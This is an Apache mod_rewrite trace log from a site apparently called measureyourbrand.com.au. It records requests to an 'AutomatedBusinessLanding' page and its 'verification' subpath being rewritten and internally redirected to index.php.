[Mon Nov 10 18:38:56.496475 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496475 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496475 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496475 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496486 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496506 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496519 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496532 2025] [rewrite:trace1] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496731 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496750 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496762 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496775 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496787 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496795 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496811 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496823 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496835 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496844 2025] [rewrite:trace1] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40517e0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:58.686946 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687000 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687010 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687027 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687045 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687071 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687081 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687092 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687105 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687116 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687126 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540bfad0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687262 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687262 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687262 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687265 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687282 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687293 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687329 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687352 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687362 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d54018a78/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687584 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687612 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687622 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687635 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687638 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687668 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687672 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687672 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687696 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687706 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:58.687706 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 45.137.99.182:37862] 45.137.99.182 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d540d4b30/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:26.471670 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471758 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471788 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471808 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471824 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471835 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471846 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471858 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471868 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.471878 2025] [rewrite:trace1] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5808017730/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472013 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472029 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472044 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472057 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472068 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472077 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472095 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472108 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472118 2025] [rewrite:trace1] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
